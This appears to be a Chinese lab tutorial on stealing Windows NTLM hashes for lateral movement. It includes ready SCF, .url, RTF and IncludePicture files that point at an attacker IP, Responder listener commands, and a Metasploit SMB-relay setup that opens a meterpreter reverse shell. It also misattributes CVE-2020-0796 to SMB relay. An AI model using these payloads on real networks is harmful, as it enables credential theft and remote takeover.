热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

内网渗透|HASH与横向移动

前言在内网渗透的过程中,最重要的就是信息搜集,但是在极端情况下我们找不到能够横或者跨域的

前言

在内网渗透的过程中,最重要的就是信息搜集,但是在极端情况下我们找不到能够横或者跨域的机器,那么这时候我们就可以尝试做一个水坑,来尝试获取hash。当然这只是理想情况,在愈发强调对抗的当下,利用水坑钓鱼也变得不是那么简单。

本地认证

既然是获取hash就需要一些基础知识,这里首先说以下本地认证。在Windows中,密码Hash称之为NTLM Hash,这个NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较

假设我的密码是admin,那么操作系统会将admin转换为十六进制,经过Unicode转换后,再调用MD4加密算法加密,这个加密结果的十六进制就是NTLM Hash

admin -> hex(16进制编码) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

本地认证中主要可以概括为以下三步:winlogon.exe -> 接收用户输入 -> lsass.exe -> (认证)

首先,用户注销、重启、锁屏后,操作系统会让winlogon显示登录界面,也就是输入框,接收输入后,将密码交给lsass进程,这个进程中会存一份明文密码,将明文密码加密成NTLM Hash,对SAM数据库比较认证。

hash传递&窃取

要想完成hash的窃取,首先要弄清除hash传递的本质。原则上来说进行Hash传递的条件有抓到的Net-NTLM hash字段或hash对应的用户名。Net-NTLM协议在不同的版本上又可细分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge和加密算法。相关Hash会出现三个地方,一是SAM数据库,二是Lsass进程,三是传输过程。

各类之所以能够读到明文时因为去dump了lsass中缓存的用户输入得到明文,如果明文缓存不存在的情况下(比如2012/10以后系统wdigest默认没开启,明文不存在),读到的其实可以理解为都是NTLM hash。值得注意的是:

Net-NTLM hash和NTLM hash不是一回事。Net-NTLM hash是Net-NTLM认证过程客户端第二次发送给服务端的包中的response字段。

了解完成就会明白Net-NTLM hash的窃取主要发生在传输环节,传输环节的攻击无非三个点。第一是传输前就截取到数据包,类似与Hook app的发包接口获取明文,第二是中间人攻击获取,第三是在接收方获取。

SCF文件

首先简单的说一下什么是scf文件

Microsoft Windows 是使用Windows Explorer Command 文件的主要软件程序,该文件最初由 Microsoft Corporation开发。网站访问者分析表明,SCF 文件通常在 Windows 10 用户计算机上找到,在 United States中最受欢迎。统计上,这些用户很可能正在运行Google Chrome internet浏览器。

其实是UNC路径

UNC,即Universal Naming Convention,意为通用命名规则。UNC路径就是类似\softer这样的形式的网络路径,unc共享就是指网络硬盘的共享:

当访问softer计算机中名为it168的共享文件夹,用UNC表示就是\softer\it168;如果是softer计算机的默认管理共享C$则用\softer\c$来表示。

可以使用SCF文件执行有限的一组操作(例如显示Windows桌面或打开Windows资源管理器)。但是,如果使用SCF文件访问特定的UNC路径,那么我们可以发起攻击

这里简单介绍下环境

攻击机kali:192.168.10.11

靶机win7:192.168.10.15

首先生成一个SCF文件

[Shell]
Command=2
IconFile=\\192.168.10.11\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

然后将这个scf文件设置为共享状态

然后使用kali上的responder
进行监听操作

responder -I eth0

这里简单说一下responder
,Responder是监听LLMNR和NetBIOS协议的工具之一,能够抓取网络中所有的LLMNR和NetBIOS请求并进行响应,获取最初的账户凭证。

Responder会利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器,DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中的明文凭据,还可以通过Multi-Relay功能在目标系统中执行命令。

当目标机器只要访问这个scf文件之后我们就可以拿到它的NTLM hash,注意这里不需要点击也可以得到,只需要能够访问即可

当用户浏览共享时,将自动从他的系统建立到SCF文件中包含的UNC路径的连接。Windows将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中,服务器会向客户端发送一个随机的8字节质询密钥,并使用此质询密钥再次加密散列的NTLM/ LANMAN密码,我们将捕获NTLMv2哈希。

smb中继

直接使用SCF进行攻击的一个好处就是不需要跟任何用户进行交互并且能够使用户强制进行NTLMv2 hash进行协商。这里也可以跟smb中继技术相结合,得到一个meterpreter

使用smb中继有一个比较有名的漏洞就是CVE-2020-0796,要想了解smb中继首先需要知道NTLM v2的认证流程

1.客户端向服务器发送登录请求,密码在客户端被 hash 一次 2.客户端向服务器发送 username 3.服务器返回一个 16 字节的挑战码(Challenge),并将已存储的用户密码 hash 加密这个 Challenge,生成 Challenge1 4.客户端将第一步 hash 的密码与 Challenge 再进行 hash 一次,生成 response 即 Challenge2 5.客户端将 response 发送给服务器 6.服务器比较 Challenge1 和 response,相同则认证成功

这里了解了NTLM的认证原理,那么smb中继就简单了,这里攻击者加在了中间,不断的截获流量并重放流量

使用exploit/windows/smb/smb_relay进行监听,同上操作即可拿到一个meterpreter

use exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.11
run

使用超链接

这里使用超链接窃取hash的原理跟LLMNR欺骗有类似之处,都是访问一个不存在的路径/程序,从而达到在本地子网发送请求的效果。这里就不扩展说LLMNR欺骗了,有兴趣的小伙伴可自行搜索

生成一个超链接,编辑超链接指向kali,注意这个qwe.exe在kali上是不存在的

\\192.168.10.11\qwe.exe

开启监听

responder -I eth0

当靶机打开这个超链接之后我们就能得到hash值

使用url

原理跟使用超链接类似,让靶机去访问IcOnFile=\\192.168.10.11\qwe.icon
,即一个不存在的文件

生成一个test1.url
,内容如下

c:\link.url@victim
[InternetShortcut]
URL=whatever //url内容
WorkingDirectory=whatever //url名称
IconFile=\\192.168.10.11\qwe.icon
IconIndex=1

使用responder进行监听

responder -I eth0

注意这里如果使用url的话会有点明显,会有一个uac界面的提醒,会增加被发现的可能

这里假装受害者比较笨点了这个url如下图所示

就会得到靶机的ntlm hash

使用RTF

何为rtf?

****富文本格式**(**Rich Text Format**)即**RTF格式**,又称*多文本格式*,是由微软公司开发的跨平台文档格式。大多数的文字处理软件都能读取和保存RTF文档。

富文本格式 (RTF) 是一种方便于不同的设备、系统查看的文本和图形文档格式。

rtf文件的创建主要是为了方便在不同操作系统下创建的文件能够在多个操作系统之间进行传输和查看

生成一个test2.rtf
,内容如下所示

{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://192.168.10.11/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}

这里出了点问题,好像是因为我是win7没有装word,所以rtf文件格式显示不出来,这里如果使用word打开是能够抓到hash的,这里就不演示了

没有抓到hash...

通过IncludePicture

何为IncludePicture?IncludePicture就相当于一个windows为了方便插入多个图片而设计的一个功能

这里使用ctfl + F9可以得到一个{ includePicture }
,我们在后面加上一个不存在的地址,组合起来就为{ includePicture "\\192.168.10.11\test.jpg"}

保存为一个xml文件

上传到靶机启动即可窃取hash


推荐阅读:


内网渗透 | 横向移动中MSTSC的密码获取


内网渗透|域内的组策略和ACL


内网渗透 | 横向移动中MSTSC的密码获取


内网渗透 | 横向移动总结


内网渗透|谈谈HASH传递那些世人皆知的事


本月报名可以参加抽奖送BADUSB的优惠活动



点赞,转发,在看


原创投稿作者:mathwizard



推荐阅读
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 一、Hadoop来历Hadoop的思想来源于Google在做搜索引擎的时候出现一个很大的问题就是这么多网页我如何才能以最快的速度来搜索到,由于这个问题Google发明 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • 云原生边缘计算之KubeEdge简介及功能特点
    本文介绍了云原生边缘计算中的KubeEdge系统,该系统是一个开源系统,用于将容器化应用程序编排功能扩展到Edge的主机。它基于Kubernetes构建,并为网络应用程序提供基础架构支持。同时,KubeEdge具有离线模式、基于Kubernetes的节点、群集、应用程序和设备管理、资源优化等特点。此外,KubeEdge还支持跨平台工作,在私有、公共和混合云中都可以运行。同时,KubeEdge还提供数据管理和数据分析管道引擎的支持。最后,本文还介绍了KubeEdge系统生成证书的方法。 ... [详细]
  • [译]技术公司十年经验的职场生涯回顾
    本文是一位在技术公司工作十年的职场人士对自己职业生涯的总结回顾。她的职业规划与众不同,令人深思又有趣。其中涉及到的内容有机器学习、创新创业以及引用了女性主义者在TED演讲中的部分讲义。文章表达了对职业生涯的愿望和希望,认为人类有能力不断改善自己。 ... [详细]
  • 本文介绍了一个在线急等问题解决方法,即如何统计数据库中某个字段下的所有数据,并将结果显示在文本框里。作者提到了自己是一个菜鸟,希望能够得到帮助。作者使用的是ACCESS数据库,并且给出了一个例子,希望得到的结果是560。作者还提到自己已经尝试了使用"select sum(字段2) from 表名"的语句,得到的结果是650,但不知道如何得到560。希望能够得到解决方案。 ... [详细]
  • 本文介绍了Linux系统中正则表达式的基础知识,包括正则表达式的简介、字符分类、普通字符和元字符的区别,以及在学习过程中需要注意的事项。同时提醒读者要注意正则表达式与通配符的区别,并给出了使用正则表达式时的一些建议。本文适合初学者了解Linux系统中的正则表达式,并提供了学习的参考资料。 ... [详细]
  • Ubuntu安装常用软件详细步骤
    目录1.GoogleChrome浏览器2.搜狗拼音输入法3.Pycharm4.Clion5.其他软件1.GoogleChrome浏览器通过直接下载安装GoogleChro ... [详细]
  • Google在I/O开发者大会详细介绍Android N系统的更新和安全性提升
    Google在2016年的I/O开发者大会上详细介绍了Android N系统的更新和安全性提升。Android N系统在安全方面支持无缝升级更新和修补漏洞,引入了基于文件的数据加密系统和移动版本的Chrome浏览器可以识别恶意网站等新的安全机制。在性能方面,Android N内置了先进的图形处理系统Vulkan,加入了JIT编译器以提高安装效率和减少应用程序的占用空间。此外,Android N还具有自动关闭长时间未使用的后台应用程序来释放系统资源的机制。 ... [详细]
  • 一句话解决高并发的核心原则
    本文介绍了解决高并发的核心原则,即将用户访问请求尽量往前推,避免访问CDN、静态服务器、动态服务器、数据库和存储,从而实现高性能、高并发、高可扩展的网站架构。同时提到了Google的成功案例,以及适用于千万级别PV站和亿级PV网站的架构层次。 ... [详细]
  • macOS Big Sur全新设计大版本更新,10+个值得关注的新功能
    本文介绍了Apple发布的新一代操作系统macOS Big Sur,该系统采用全新的界面设计,包括图标、应用界面、程序坞和菜单栏等方面的变化。新系统还增加了通知中心、桌面小组件、强化的Safari浏览器以及隐私保护等多项功能。文章指出,macOS Big Sur的设计与iPadOS越来越接近,结合了去年iPadOS对鼠标的完善等功能。 ... [详细]
  • 十大经典排序算法动图演示+Python实现
    本文介绍了十大经典排序算法的原理、演示和Python实现。排序算法分为内部排序和外部排序,常见的内部排序算法有插入排序、希尔排序、选择排序、冒泡排序、归并排序、快速排序、堆排序、基数排序等。文章还解释了时间复杂度和稳定性的概念,并提供了相关的名词解释。 ... [详细]
  • 解决Sharepoint 2013运行状况分析出现的“一个或多个服务器未响应”问题的方法
    本文介绍了解决Sharepoint 2013运行状况分析中出现的“一个或多个服务器未响应”问题的方法。对于有高要求的客户来说,系统检测问题的存在是不可接受的。文章详细描述了解决该问题的步骤,包括删除服务器、处理分布式缓存留下的记录以及使用代码等方法。同时还提供了相关关键词和错误提示信息,以帮助读者更好地理解和解决该问题。 ... [详细]
  • 本文介绍了Linux Shell中括号和整数扩展的使用方法,包括命令组、命令替换、初始化数组以及算术表达式和逻辑判断的相关内容。括号中的命令将会在新开的子shell中顺序执行,括号中的变量不能被脚本余下的部分使用。命令替换可以用于将命令的标准输出作为另一个命令的输入。括号中的运算符和表达式符合C语言运算规则,可以用在整数扩展中进行算术计算和逻辑判断。 ... [详细]
author-avatar
mobiledu2502859427
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有